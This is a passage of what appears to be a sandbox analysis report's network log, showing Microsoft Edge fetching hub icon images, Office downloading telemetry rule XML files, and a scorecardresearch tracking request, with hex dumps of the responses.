2024-11-22 13:43:59 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49903	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:59 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 90567edc-201e-0070-3ed8-3c1bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-178bfbc474bwh9gmhC1NYCy3rs000000030000000000n9v1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:59 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49904	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 7e66ba8f-001e-000a-1be4-3c718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-15b8b599d88tmlzshC1TEB4xpn00000001dg000000008e5h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49905	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:59 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0cade959-101e-001e-7ad8-3cb2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-178bfbc474bp8mkvhC1NYCzqnn00000002wg000000009vcr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:59 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49901	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: a848e66b-d01e-0003-5be4-3c6b00000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-15b8b599d882zv28hC1TEBdchn00000001h00000000004wn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49902	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:59 UTC	543	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-174c587ffdfb74xqhC1TEBhabc00000001h0000000008st1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-22 13:43:59 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134400Z-174c587ffdfx984chC1TEB676g00000001e000000000er1b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ce6cb833-501e-007b-514e-3c5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134400Z-15b8b599d882hxlwhC1TEBfa5w00000001f00000000051d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49913	18.164.116.57	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	925	OUT	GET /b?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 22 Nov 2024 13:44:00 GMT Location: /b2?rn=1732283037067&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AFE249FEBCF639338DA31A0EAE662C3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=168118f0a71cbdc6f50c0b91732283040; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=168118f0a71cbdc6f50c0b91732283040; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 c38cfac20df9757e670e782ca61768aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: ReWPAlvtrp0GQanz6uOb5KwcebxQkoj0FDzFAb4U2Zn5pfBYagfe4A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49907	13.107.246.63	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134400Z-178bfbc474bmqmgjhC1NYCy16c000000032g00000000dng7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:44:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134400Z-174c587ffdf8lw6dhC1TEBkgs800000001kg000000004a8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
